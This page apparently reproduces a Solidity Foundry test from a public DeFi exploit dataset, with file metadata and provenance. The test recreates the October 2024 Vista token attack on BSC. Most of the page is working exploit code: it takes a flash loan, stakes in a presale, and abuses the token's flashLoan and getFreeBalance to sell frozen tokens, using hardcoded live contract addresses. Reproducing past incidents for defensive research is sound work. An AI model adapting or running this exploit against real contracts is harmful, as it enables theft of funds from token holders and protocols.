Public reproduction file
src/test/2024-10/VISTA_exp.sol
Public reproduction file for dataset entry Vista.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// reason : flashloan will burn the token, but not check the token is freezed or not8// guy : https://x.com/TenArmorAlert/status/18484037918819001309// tx : https://app.blocksec.com/explorer/tx/bsc/0x84c385aab658d86b64e132e8db0c092756d5a9331a1131bf05f8214d08efba5610// total loss : 29k USDT12contract ContractTest is Test {13 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);15 Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);16 Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);17 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);18 Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);19 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);20 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);21 IERC20 HYDT = IERC20(0x9810512Be701801954449408966c630595D0cD51);22 address VISTA = 0x493361D6164093936c86Dcb35Ad03b4C0D032076;23 uint256 borrow_amount;24 address presale = 0x7C98b0cEEaFCf5b5B30871362035f728955b328c;25 address sale = 0xf738de9913bc1e21b1a985bb0E39Db75091263b7;27 function setUp() external {28 cheats.createSelectFork("bsc", 43_305_237);29 deal(address(USDT), address(this), 0);30 // deal(address(WBNB), address(this), 11 ether);31 }33 function testExploit() external {34 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);35 borrow_amount = 1500 ether;36 pool.flash(address(this), borrow_amount, 0, "");37 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);38 }40 function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {41 console.log("pancakeV3FlashCallback");42 // console.log(USDT.balanceOf(address(this)));43 swap_token_to_token(address(USDT), address(BUSD), USDT.balanceOf(address(this)));44 console.log(BUSD.balanceOf(address(this)));45 BUSD.approve(presale, BUSD.balanceOf(address(this)));46 (bool success,) = presale.call(47 abi.encodeWithSignature("stake(uint256,address)", BUSD.balanceOf(address(this)) / 1e18, address(this))48 );49 console.log(IERC20(VISTA).balanceOf(address(this)));50 uint256 amount = IERC20(VISTA).balanceOf(address(this));51 IERC20(VISTA).approve(address(VISTA), amount);52 (bool success1,) = VISTA.call(53 abi.encodeWithSignature("flashLoan(address,address,uint256,bytes)", address(this), VISTA, amount, "")54 );55 USDT.transfer(address(pool), borrow_amount + fee0);56 }58 function onFlashLoan(59 address initiator,60 address token,61 uint256 amount,62 uint256 fee,63 bytes calldata data64 ) external returns (bytes32) {65 (bool success3, bytes memory data) =66 VISTA.call(abi.encodeWithSignature("getFreeBalance(address)", address(this)));67 uint256 freeBalance = abi.decode(data, (uint256));68 IERC20(VISTA).approve(sale, type(uint256).max - 1);69 (bool success,) = sale.call(70 abi.encodeWithSignature(71 "sell(uint256,address)", freeBalance * 22_860_000_000_000_000_000 / 1e18 - 1, address(this)72 )73 );74 return keccak256("ERC3156FlashBorrower.onFlashLoan");75 }77 function swap_token_to_token(address a, address b, uint256 amount) internal {78 IERC20(a).approve(address(router), amount);79 address[] memory path = new address[](2);80 path[0] = address(a);81 path[1] = address(b);82 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);83 }85 receive() external payable {}86}Analysis
Dataset entry
Public Foundry test for “Vista” (2024-10-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-10/AIZPTToken_exp.solSame month in the dataset · 72 lines
- src/test/2024-10/BUBAI_exp.solSame month in the dataset · 95 lines
- src/test/2024-10/CompoundFork_exploit.solSame month in the dataset · 229 lines
- src/test/2024-10/Erc20transfer_exp.solSame month in the dataset · 40 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/LavaLending_exp.solSame month in the dataset · 451 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/P719Token_exp.solSame month in the dataset · 245 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Vista
- Path
- src/test/2024-10/VISTA_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 61d32952e3321afe842275933097408de625cfbd
- Language
- Solidity
- Size
- 87 lines
- Date
- 2024-10-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/VISTA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 61d32952e3321afe842275933097408de625cfbd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.